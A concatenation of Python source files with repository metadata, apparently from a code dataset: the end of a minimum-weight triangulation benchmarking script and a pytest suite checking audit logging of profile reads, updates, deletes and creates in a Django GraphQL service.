y=-294),Point(x=-291, y=304),Point(x=39, y=12),Point(x=-313, y=12),Point(x=-79, y=109)], [Point(x=-93, y=-267),Point(x=-170, y=-143),Point(x=1, y=-187),Point(x=-202, y=-143),Point(x=-274, y=-188),Point(x=-81, y=36),Point(x=70, y=-168),Point(x=-63, y=19),Point(x=247, y=157),Point(x=274, y=-158),Point(x=-108, y=142),Point(x=-102, y=-211),Point(x=98, y=-324),Point(x=144, y=-225),Point(x=-299, y=-273)], [Point(x=231, y=-129),Point(x=207, y=186),Point(x=226, y=-7),Point(x=251, y=181),Point(x=-85, y=297),Point(x=230, y=17),Point(x=43, y=-122),Point(x=328, y=151),Point(x=121, y=-328),Point(x=-226, y=316),Point(x=-168, y=-268),Point(x=217, y=50),Point(x=176, y=284),Point(x=-99, y=65),Point(x=218, y=-191)] ] peculiar_instances = [ [Point(x=71.880108514108414, y=41.499999999999993),Point(x=0.000000000000005, y=83.000000000000000),Point(x= -71.880108514108414, y=41.499999999999993),Point(x= -71.880108514108429, y= -41.499999999999979),Point(x= -0.000000000000015, y= -83.000000000000000),Point(x=71.880108514108386, y= -41.500000000000036),Point( x=19.318516525781366, y=5.176380902050415),Point( x= 14.142135623730951, y=14.142135623730949),Point(x= 5.176380902050415, y=19.318516525781366), Point(x= -5.176380902050413, y=19.318516525781366),Point(x= -14.142135623730949, y=14.142135623730951),Point(x= -19.318516525781362, y=5.176380902050420), Point(x= -19.318516525781366, y=-5.176380902050416),Point(x= -14.142135623730958, y=-14.142135623730942), Point(x= -5.176380902050413, y=-19.318516525781366), Point(x= 5.176380902050406, y=-19.318516525781369), Point(x= 14.142135623730947,y= -14.142135623730955),Point(x= 19.318516525781362, y= -5.176380902050432)] ] test_char = [{'hull': [Point(x=-159, y=-292), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2400030, 'final': False, 'length': 29}, {'hull': [Point(x=-150, y=-292), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2345788, 'final': False, 'length': 28}, {'hull': [Point(x=-150, y=-292), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2325314, 'final': False, 'length': 27}, {'hull': [Point(x=-150, y=-292), Point(x=-22, y=30), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2322313, 'final': False, 'length': 26}, {'hull': [Point(x=156, y=-286), Point(x=-150, y=-292), Point(x=-22, y=30)], 'final': True}, {'hull': [Point(x=-22, y=30), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2108573, 'final': False, 'length': 24}, {'hull': [Point(x=-22, y=30), Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2023468, 'final': False, 'length': 23}, {'hull': [Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1362809, 'final': False, 'length': 11}, {'hull': [Point(x=-22, y=30), Point(x=-248, y=242), Point(x=5, y=241)], 'final': True}, {'hull': [Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1202779, 'final': False, 'length': 9}, {'hull': [Point(x=5, y=241), Point(x=144, y=75), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1185614, 'final': False, 'length': 8}, {'hull': [Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30), Point(x=5, y=241)], 'weight': 955421, 'final': False, 'length': 6}, {'hull': [Point(x=156, y=-286), Point(x=-22, y=30), Point(x=5, y=241), Point(x=278, y=-130)], 'weight': 917945, 'final': False, 'length': 4}, {'hull': [Point(x=156, y=-286), Point(x=9, y=88), Point(x=-22, y=30), Point(x=5, y=241), Point(x=278, y=-130)], 'weight': 786405, 'final': False, 'length': 3}, {'hull': [Point(x=5, y=241), Point(x=278, y=-130), Point(x=156, y=-286)], 'final': True}, {'hull': [Point(x=9, y=88), Point(x=-22, y=30), Point(x=5, y=241)], 'final': True}, {'hull': [Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'final': True}, {'hull': [Point(x=144, y=75), Point(x=111, y=164), Point(x=278, y=-130)], 'final': True}, {'hull': [Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'weight': 653482, 'final': False, 'length': 11}, {'hull': [Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 564693, 'final': False, 'length': 9}, {'hull': [Point(x=-145, y=-149), Point(x=-170, y=31), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 539681, 'final': False, 'length': 8}, {'hull': [Point(x=-106, y=41), Point(x=-145, y=-149), Point(x=-170, y=31)], 'final': True}, {'hull': [Point(x=-170, y=31), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 469035, 'final': False, 'length': 6}, {'hull': [Point(x=-170, y=31), Point(x=-179, y=38), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 431658, 'final': False, 'length': 5}, {'hull': [Point(x=-248, y=242), Point(x=-106, y=41), Point(x=-170, y=31)], 'final': True}, {'hull': [Point(x=-179, y=38), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'weight': 316162, 'final': False, 'length': 3}, {'hull': [Point(x=-248, y=242), Point(x=-179, y=38), Point(x=-299, y=-113)], 'final': True}, {'hull': [Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'final': True}, {'hull': [Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149)], 'final': True}] test_char2 = [{'hull': [Point(x=-159, y=-292), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2400030, 'final': False, 'length': 29}, {'hull': [Point(x=-150, y=-292), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2345788, 'final': False, 'length': 28}, {'hull': [Point(x=-150, y=-292), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2325314, 'final': False, 'length': 27}, {'hull': [Point(x=-150, y=-292), Point(x=-22, y=30), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2322313, 'final': False, 'length': 26}, {'hull': [Point(x=156, y=-286), Point(x=-150, y=-292), Point(x=-22, y=30)], 'final': True}, {'hull': [Point(x=-22, y=30), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2108573, 'final': False, 'length': 24}, {'hull': [Point(x=-22, y=30), Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'weight': 2023468, 'final': False, 'length': 23}, {'hull': [Point(x=-248, y=242), Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1362809, 'final': False, 'length': 11}, {'hull': [Point(x=-22, y=30), Point(x=-248, y=242), Point(x=5, y=241)], 'final': True}, {'hull': [Point(x=5, y=241), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1202779, 'final': False, 'length': 9}, {'hull': [Point(x=5, y=241), Point(x=144, y=75), Point(x=111, y=164), Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30)], 'weight': 1185614, 'final': False, 'length': 8}, {'hull': [Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286), Point(x=-22, y=30), Point(x=5, y=241)], 'weight': 955421, 'final': False, 'length': 6}, {'hull': [Point(x=156, y=-286), Point(x=-22, y=30), Point(x=5, y=241), Point(x=278, y=-130)], 'weight': 917945, 'final': False, 'length': 4}, {'hull': [Point(x=156, y=-286), Point(x=9, y=88), Point(x=-22, y=30), Point(x=5, y=241), Point(x=278, y=-130)], 'weight': 786405, 'final': False, 'length': 3}, {'hull': [Point(x=5, y=241), Point(x=278, y=-130), Point(x=156, y=-286)], 'final': True}, {'hull': [Point(x=9, y=88), Point(x=-22, y=30), Point(x=5, y=241)], 'final': True}, {'hull': [Point(x=278, y=-130), Point(x=299, y=-255), Point(x=156, y=-286)], 'final': True}, {'hull': [Point(x=144, y=75), Point(x=111, y=164), Point(x=278, y=-130)], 'final': True}, {'hull': [Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'weight': 653482, 'final': False, 'length': 11}, {'hull': [Point(x=-145, y=-149), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 564693, 'final': False, 'length': 9}, {'hull': [Point(x=-145, y=-149), Point(x=-170, y=31), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 539681, 'final': False, 'length': 8}, {'hull': [Point(x=-106, y=41), Point(x=-145, y=-149), Point(x=-170, y=31)], 'final': True}, {'hull': [Point(x=-170, y=31), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 469035, 'final': False, 'length': 6}, {'hull': [Point(x=-170, y=31), Point(x=-179, y=38), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242), Point(x=-106, y=41)], 'weight': 431658, 'final': False, 'length': 5}, {'hull': [Point(x=-248, y=242), Point(x=-106, y=41), Point(x=-170, y=31)], 'final': True}, {'hull': [Point(x=-179, y=38), Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'weight': 316162, 'final': False, 'length': 3}, {'hull': [Point(x=-248, y=242), Point(x=-179, y=38), Point(x=-299, y=-113)], 'final': True}, {'hull': [Point(x=-299, y=-113), Point(x=-308, y=201), Point(x=-248, y=242)], 'final': True}, {'hull': [Point(x=-106, y=41), Point(x=-130, y=-241), Point(x=-145, y=-149)], 'final': True}] for instance_no, dots in enumerate(peculiar_instances): # for instance_no in range(instances_no): # dots = [] # dots_quantity = random.randint(min_dots_quantity, max_dots_quantity) # # for i in range(0, dots_quantity): # dot_to_append = Point(x=get_random_from_range(lower_value_limit, upper_value_limit, use_ints, use_gauss), y=get_random_from_range(lower_value_limit, upper_value_limit, use_ints, use_gauss)) # while dot_to_append in dots: # dot_to_append = Point(x=get_random_from_range(lower_value_limit, upper_value_limit, use_ints, use_gauss), y=get_random_from_range(lower_value_limit, upper_value_limit, use_ints, use_gauss)) # dots.append(dot_to_append) convex_hull = libraries.cg_lib.return_convex_hull(dots) # if animate: # helpers.draw.draw_dots(dots) # helpers.draw.draw_polygon(convex_hull) print(str(instance_no + 1) + '. instance: {0}'.format(len(dots)), dots) print('\nTime Complexities (Minimum Weight Triangulation):') # # Begin of develop related only # seed_triangulations = get_seed_triangulations(dots, convex_hull) # # # print('\tFCT:', seed_triangulations['first_choice'], calculate_triangulation_weight(get_fct_edges())) # # print('\tCollision data: ', len(get_fct_edges()), count_collisions(get_fct_edges())) # # if animate: # # helpers.draw.draw_edges(get_fct_edges()) # # print('\tGCT:', seed_triangulations['greedy_choice'], calculate_triangulation_weight(get_gct_edges())) # print('\tCollision data: ', len(get_gct_edges()), count_collisions(get_gct_edges())) # if animate: # # helpers.draw.turtle.color("red") # # helpers.draw.turtle.clear() # helpers.draw.draw_dots(dots) # helpers.draw.draw_edges(get_gct_edges()) # # libraries.cg_lib.reconstruct_incident_dots(get_gct_edges(), convex_hull) # print('\tFCHC:', first_choice_hill_climbing(get_gct_edges(), seed_triangulations['greedy_choice'])) # # End of develop related only # # Begin of FCT seed # fct_results = benchmark.evaluate_method(get_fct, dots, convex_hull) # print('\tFirst Choice Triangulation:', fct_results[0], 's.', # 'Weight:', fct_results[1], '\n') # # libraries.cg_lib.reconstruct_incident_dots(dots, get_fct_edges(), convex_hull) # fchc_edges = deepcopy(get_fct_edges()) # fchc_results = benchmark.evaluate_method(first_choice_hill_climbing, fchc_edges, fct_results[1]) # print('\tFirst Choice Hill Climbing Heuristic (Seed: FCT):', fchc_results[0], 's.', # 'Weight:', fchc_results[1]) # # gchc_edges = deepcopy(get_fct_edges()) # gchc_results = benchmark.evaluate_method(greedy_choice_hill_climbing, gchc_edges, fct_results[1]) # print('\tGreedy Choice Hill Climbing Heuristic (Seed: FCT):', gchc_results[0], 's.', # 'Weight:', gchc_results[1]) # # schc_edges = deepcopy(get_fct_edges()) # schc_results = benchmark.evaluate_method(stochastic_choice_hill_climbing, schc_edges, fct_results[1]) # print('\tStochastic Choice Hill Climbing Heuristic (Seed: FCT):', schc_results[0], 's.', # 'Weight:', schc_results[1]) # # sa_edges = deepcopy(get_fct_edges()) # sa_results = benchmark.evaluate_method(simulated_annealing, sa_edges, fct_results[1]) # print('\tSimulated Annealing Metaheuristic (Seed: FCT):', sa_results[0], 's.', # 'Weight:', sa_results[1], '\n') # # End of FCT seed # Begin of GCT seed gct_results = benchmark.evaluate_method(get_gct, dots, convex_hull) print('\tGreedy Choice Triangulation:', gct_results[0], 's.', 'Weight:', gct_results[1], '\n') libraries.cg_lib.reconstruct_incident_dots(dots, get_gct_edges(), convex_hull) # fchc_edges = deepcopy(get_gct_edges()) # fchc_results = benchmark.evaluate_method(first_choice_hill_climbing, fchc_edges, gct_results[1]) # print('\tFirst Choice Hill Climbing Heuristic (Seed: GCT):', fchc_results[0], 's.', # 'Weight:', fchc_results[1]) # # gchc_edges = deepcopy(get_gct_edges()) # gchc_results = benchmark.evaluate_method(greedy_choice_hill_climbing, gchc_edges, gct_results[1]) # print('\tGreedy Choice Hill Climbing Heuristic (Seed: GCT):', gchc_results[0], 's.', # 'Weight:', gchc_results[1]) # # schc_edges = deepcopy(get_gct_edges()) # schc_results = benchmark.evaluate_method(stochastic_choice_hill_climbing, schc_edges, gct_results[1]) # print('\tStochastic Choice Hill Climbing Heuristic (Seed: GCT):', schc_results[0], 's.', # 'Weight:', schc_results[1]) # # sa_edges = deepcopy(get_gct_edges()) # sa_results = benchmark.evaluate_method(simulated_annealing, sa_edges, gct_results[1]) # print('\tSimulated Annealing Metaheuristic (Seed: GCT):', sa_results[0], 's.', # 'Weight:', sa_results[1], '\n') # End of GCT seed # Begin of ABC algorithm related # abc_edges = deepcopy(get_gct_edges()) # abc_results = benchmark.evaluate_method(random_wandering_abc_algorithm, abc_edges, gct_results[1]) # print('\tRandom wandering ABC algorithm (Seed: GCT):', abc_results[0], 's.', # 'Weight:', abc_results[1], '\n') # artificial_bee_colony_results = benchmark.evaluate_method(artificial_bee_colony_algorithm, dots, convex_hull) # print('\tArtificial Bee Colony:', artificial_bee_colony_results[0], 's.', # 'Weight:', artificial_bee_colony_results[1]) # hybrid_artificial_bee_colony_results = benchmark.evaluate_method( # hybrid_artificial_bee_colony_algorithm, # dots, # convex_hull) # print('\tHybrid Artificial Bee Colony:', hybrid_artificial_bee_colony_results[0], 's.', # 'Weight:', hybrid_artificial_bee_colony_results[1], '\n') # End of ABC algorithm related # Begin of PSO solution related # pso_edges = deepcopy(get_gct_edges()) # pso_results = benchmark.evaluate_method(basic_pso, pso_edges, gct_results[1], 33, 33, True) # print('\tBasic PSO solution (Seed: GCT):', pso_results[0], 's.', # 'Weight:', pso_results[1], '\n') # End of PSO solution related # Begin of Exhaustive Search # exhaustive_search_results = benchmark.evaluate_method(do_exhaustive_search, dots, convex_hull) # print('\tExhaustive Search:', exhaustive_search_results[0], 's.', # 'Weight:', exhaustive_search_results[1], '\n') # End of Exhaustive Search # Begin of debugging related # mwt_edges = get_triangulation_from_dots_order(dots, get_testing_dots_order(), convex_hull) # print('\tCollision data: ', len(mwt_edges), count_collisions(mwt_edges)) # # End of debugging related # if animate: # helpers.draw.turtle.color("red") # helpers.draw.draw_edges(mwt_edges) # # Begin of results export with open( 'data/evaluations/evaluations_abc_sa_limited_to_1000_floats_peculiar_instances.txt', mode='w' if instance_no == 0 else 'a', encoding='utf-8') as eval_file: eval_file.write(str(instance_no + 1) + '. ') eval_file.write('[' + ','.join(str(e) for e in dots) + ']\n') eval_file.write('\tInstance size: ' + str(len(dots)) + '\n') eval_file.write('\tNumber of runs: ' + str(number_of_runs) + '\n') # eval_file.write('\tGCT SE Weight: ' + str(gct_results[1]) + '. ') # eval_file.write('Time lapsed: ' + str(gct_results[0]) + 's\n') # eval_file.write('\tOptimal Weight: ' + str(exhaustive_search_results[1]) + '.\n') # eval_file.write('\tTime lapsed for exhaustive search: ' + str(exhaustive_search_results[0]) + 's\n\n') # Begin of advanced stats evaluation try: output_stats(get_gct_edges(), simulated_annealing, number_of_runs, 'SA', eval_file, gct_results[1]) output_stats(get_gct_edges(), basic_pso, number_of_runs, 'PSO', eval_file, gct_results[1], 33, 33, True) output_stats(get_gct_edges(), random_wandering_abc_algorithm, number_of_runs, 'ABC', eval_file, gct_results[1]) except Exception as e: print(e) # End of advanced stats evaluation # # End of results export if animate: helpers.draw.turtle.done()
138.300654
4,924
0.606498
79594376cf5b4dde47869a31af3144fddf155ba5
15,282
py
Python
profiles/tests/test_audit_log.py
City-of-Helsinki/opencity-profile
a430b562b9937f443d391475fabdc27068b95c49
[ "MIT" ]
null
null
null
profiles/tests/test_audit_log.py
City-of-Helsinki/opencity-profile
a430b562b9937f443d391475fabdc27068b95c49
[ "MIT" ]
null
null
null
profiles/tests/test_audit_log.py
City-of-Helsinki/opencity-profile
a430b562b9937f443d391475fabdc27068b95c49
[ "MIT" ]
null
null
null
import json import logging from dataclasses import dataclass from datetime import datetime, timedelta, timezone from string import Template from typing import Any, List, Optional import pytest from django.conf import settings from guardian.shortcuts import assign_perm from open_city_profile.tests import to_graphql_name from open_city_profile.tests.asserts import assert_almost_equal from open_city_profile.tests.graphql_test_helpers import do_graphql_call_as_user from profiles.models import ( Profile, VerifiedPersonalInformationPermanentAddress, VerifiedPersonalInformationPermanentForeignAddress, VerifiedPersonalInformationTemporaryAddress, ) from services.tests.factories import ServiceConnectionFactory from .factories import ( ProfileFactory, SensitiveDataFactory, VerifiedPersonalInformationFactory, ) @pytest.fixture(autouse=True) def enable_audit_log(): settings.AUDIT_LOGGING_ENABLED = True @pytest.fixture def cap_audit_log(caplog): def get_logs(self): audit_records = [ r for r in self.records if r.name == "audit" and r.levelno == logging.INFO ] return [json.loads(r.getMessage()) for r in audit_records] caplog.get_logs = get_logs.__get__(caplog) return caplog def partition_logs_by_target_type(logs, target_type): matches = [] rest = [] for log in logs: if log["audit_event"]["target"]["type"] == target_type: matches.append(log) else: rest.append(log) return matches, rest def discard_audit_logs(audit_logs, operation): return list( filter(lambda e: e["audit_event"]["operation"] != operation, audit_logs) ) def assert_common_fields( log_message, target_profile, operation, actor_role="SYSTEM", target_profile_part="base profile", ): now_dt = datetime.now(tz=timezone.utc) now_ms_timestamp = int(now_dt.timestamp() * 1000) leeway_ms = 50 if isinstance(log_message, list): assert len(log_message) == 1 log_message = log_message[0] audit_event = log_message["audit_event"] assert audit_event["origin"] == "PROFILE-BE" assert audit_event["status"] == "SUCCESS" assert audit_event["operation"] == operation assert audit_event["actor"]["role"] == actor_role assert_almost_equal(audit_event["date_time_epoch"], now_ms_timestamp, leeway_ms) log_dt = datetime.strptime( audit_event["date_time"], "%Y-%m-%dT%H:%M:%S.%fZ" ).replace(tzinfo=timezone.utc) assert_almost_equal(log_dt, now_dt, timedelta(milliseconds=leeway_ms)) expected_target = { "id": str(target_profile.pk), "type": target_profile_part, "user_id": str(target_profile.user.uuid), } assert audit_event["target"] == expected_target @dataclass class ProfileWithRelated: profile: Profile related_part: Optional[Any] related_name: Optional[str] profile_part_name: Optional[str] additional_profile_part_names: List[str] @property def all_profile_part_names(self): return [ name for name in [self.profile_part_name] + self.additional_profile_part_names if name is not None ] def vpi_factory_with_addresses(*wanted_address_models): def factory(): address_args = dict() for address_model in [ VerifiedPersonalInformationPermanentAddress, VerifiedPersonalInformationTemporaryAddress, VerifiedPersonalInformationPermanentForeignAddress, ]: if address_model not in wanted_address_models: address_args[address_model.RELATED_NAME] = None return VerifiedPersonalInformationFactory(**address_args) return factory @pytest.fixture( params=[ (ProfileFactory, None, None, []), (SensitiveDataFactory, "sensitivedata", "sensitive data", []), ( vpi_factory_with_addresses(), "verified_personal_information", "verified personal information", [], ), ( vpi_factory_with_addresses(VerifiedPersonalInformationPermanentAddress), "verified_personal_information__permanent_address", "verified personal information permanent address", ["verified personal information"], ), ( vpi_factory_with_addresses(VerifiedPersonalInformationTemporaryAddress), "verified_personal_information__temporary_address", "verified personal information temporary address", ["verified personal information"], ), ( vpi_factory_with_addresses( VerifiedPersonalInformationPermanentForeignAddress ), "verified_personal_information__permanent_foreign_address", "verified personal information permanent foreign address", ["verified personal information"], ), ] ) def profile_with_related(request): ( factory, related_name, profile_part_name, additional_profile_part_names, ) = request.param created = factory() if related_name: profile = getattr(created, "profile") related_part = profile for field_name in related_name.split("__"): related_part = getattr(related_part, field_name) else: profile = created related_part = None return ProfileWithRelated( profile, related_part, related_name, profile_part_name, additional_profile_part_names, ) MY_PROFILE_QUERY = """ query { myProfile { id sensitivedata { id } verifiedPersonalInformation { firstName permanentAddress { streetAddress } temporaryAddress { streetAddress } permanentForeignAddress { streetAddress } } } } """ def test_audit_log_read(live_server, profile_with_related, cap_audit_log): profile = profile_with_related.profile user = profile.user do_graphql_call_as_user( live_server, user, extra_claims={"loa": "substantial"}, query=MY_PROFILE_QUERY ) audit_logs = cap_audit_log.get_logs() for profile_part_name in profile_with_related.all_profile_part_names: related_logs, audit_logs = partition_logs_by_target_type( audit_logs, profile_part_name ) assert_common_fields( related_logs, profile, "READ", actor_role="OWNER", target_profile_part=profile_part_name, ) assert_common_fields(audit_logs, profile, "READ", actor_role="OWNER") def test_audit_log_update(live_server, profile_with_related, cap_audit_log): profile = profile_with_related.profile user = profile.user assign_perm("profiles.manage_verified_personal_information", user) related_name = profile_with_related.related_name if related_name == "sensitivedata": query = """ mutation { updateMyProfile(input: { profile: { sensitivedata: { ssn: "121256-7890" } } }) { profile { firstName } } } """ else: if related_name and "verified" in related_name: if "address" in related_name: address_name = related_name.split("__")[1] vpi_content = ( to_graphql_name(address_name) + ': { streetAddress: "New street address" }' ) else: vpi_content = 'lastName: "Verified last name"' vpi_input = "verifiedPersonalInformation: {" + vpi_content + "}" else: vpi_input = "" t = Template( """ mutation { createOrUpdateUserProfile(input: { userId: "${user_id}" profile: { firstName: "New name" ${vpi_input} } }) { profile { firstName } } } """ ) query = t.substitute(user_id=str(user.uuid), vpi_input=vpi_input) do_graphql_call_as_user(live_server, user, query=query) audit_logs = cap_audit_log.get_logs() # Audit logging the Profile UPDATE with a related object causes some READs # for the involved models. # This is unnecessary, but it's a feature of the current implementation. # We ignore the READ events in this test for now. audit_logs = discard_audit_logs(audit_logs, "READ") for profile_part_name in profile_with_related.all_profile_part_names: related_logs, audit_logs = partition_logs_by_target_type( audit_logs, profile_part_name ) assert_common_fields( related_logs, profile, "UPDATE", actor_role="OWNER", target_profile_part=profile_part_name, ) assert_common_fields(audit_logs, profile, "UPDATE", actor_role="OWNER") def test_audit_log_delete(live_server, profile_with_related, cap_audit_log): profile = profile_with_related.profile user = profile.user query = """ mutation { deleteMyProfile(input: { authorizationCode: "" }) { clientMutationId } } """ do_graphql_call_as_user(live_server, user, query=query) audit_logs = cap_audit_log.get_logs() # Audit logging the Profile DELETE with a related object causes some READs # for the involved models. # This is unnecessary, but it's a feature of the current implementation. # We ignore the READ events in this test for now. audit_logs = discard_audit_logs(audit_logs, "READ") for profile_part_name in profile_with_related.all_profile_part_names: related_logs, audit_logs = partition_logs_by_target_type( audit_logs, profile_part_name ) assert_common_fields( related_logs, profile, "DELETE", actor_role="OWNER", target_profile_part=profile_part_name, ) assert_common_fields(audit_logs, profile, "DELETE", actor_role="OWNER") def test_audit_log_create(live_server, user, cap_audit_log): query = """ mutation { createMyProfile(input: { profile: { firstName: "New profile" } }) { profile { firstName } } } """ do_graphql_call_as_user(live_server, user, query=query) audit_logs = cap_audit_log.get_logs() profile = Profile.objects.get() assert_common_fields(audit_logs, profile, "CREATE", actor_role="OWNER") def test_actor_is_resolved_in_graphql_call( live_server, profile, service_client_id, cap_audit_log ): service = service_client_id.service ServiceConnectionFactory(profile=profile, service=service) user = profile.user do_graphql_call_as_user(live_server, user, service=service, query=MY_PROFILE_QUERY) audit_logs = cap_audit_log.get_logs() assert_common_fields(audit_logs, profile, "READ", actor_role="OWNER") log_message = audit_logs[0] assert log_message["audit_event"]["actor"]["user_id"] == str(user.uuid) def test_service_is_resolved_in_graphql_call( live_server, profile, service_client_id, cap_audit_log ): user = profile.user service = service_client_id.service ServiceConnectionFactory(profile=profile, service=service) do_graphql_call_as_user(live_server, user, service=service, query=MY_PROFILE_QUERY) audit_logs = cap_audit_log.get_logs() assert_common_fields(audit_logs, profile, "READ", actor_role="OWNER") log_message = audit_logs[0] actor_log = log_message["audit_event"]["actor"] assert "service_name" in actor_log assert actor_log["service_name"] == service.name assert "client_id" in actor_log assert actor_log["client_id"] == service_client_id.client_id def test_actor_service(live_server, user, group, service_client_id, cap_audit_log): profile = ProfileFactory() service = service_client_id.service ServiceConnectionFactory(profile=profile, service=service) user.groups.add(group) assign_perm("can_view_profiles", group, service) # serviceType is included in query just to ensure that it has NO affect on the audit log query = """ { profiles(serviceType: GODCHILDREN_OF_CULTURE) { edges { node { firstName } } } } """ cap_audit_log.clear() do_graphql_call_as_user(live_server, user, service=service, query=query) audit_logs = cap_audit_log.get_logs() assert_common_fields(audit_logs, profile, "READ", actor_role="ADMIN") log_message = audit_logs[0] actor_log = log_message["audit_event"]["actor"] assert actor_log["service_name"] == service.name assert "client_id" in actor_log assert actor_log["client_id"] == service_client_id.client_id class TestIPAddressLogging: @staticmethod def execute_ip_address_test( live_server, profile, expected_ip, cap_audit_log, request_args=None ): if request_args is None: request_args = {} user = profile.user do_graphql_call_as_user( live_server, user, query=MY_PROFILE_QUERY, extra_request_args=request_args ) audit_logs = cap_audit_log.get_logs() assert len(audit_logs) == 1 log_message = audit_logs[0] assert log_message["audit_event"]["actor"]["ip_address"] == expected_ip @pytest.mark.parametrize( "header", ["12.23.34.45", "12.23.34.45,1.1.1.1", "12.23.34.45, 1.1.1.1"] ) def test_requester_ip_address_is_extracted_from_x_forwarded_for_header( self, header, live_server, profile, cap_audit_log ): request_args = {"headers": {"X-Forwarded-For": header}} self.execute_ip_address_test( live_server, profile, "12.23.34.45", cap_audit_log, request_args ) def test_do_not_use_x_forwarded_for_header_if_it_is_denied_in_settings( self, live_server, settings, profile, cap_audit_log ): settings.USE_X_FORWARDED_FOR = False request_args = {"headers": {"X-Forwarded-For": "should ignore"}} self.execute_ip_address_test( live_server, profile, "127.0.0.1", cap_audit_log, request_args ) def test_requester_ip_address_is_extracted_from_remote_addr_meta( self, live_server, profile, cap_audit_log ): self.execute_ip_address_test(live_server, profile, "127.0.0.1", cap_audit_log)
31.251534
92
0.634537
795943e7744517c98a486a4d07e5f86906d9e8b9
12,392
py
Python
vectorizers/ngram_vectorizer.py
cjweir/vectorizers
6400af95e130cc692e13244ec5d696222b784606
[ "BSD-3-Clause" ]
1
2021-04-08T15:03:25.000Z
2021-04-08T15:03:25.000Z
vectorizers/ngram_vectorizer.py
cjweir/vectorizers
6400af95e130cc692e13244ec5d696222b784606
[ "BSD-3-Clause" ]
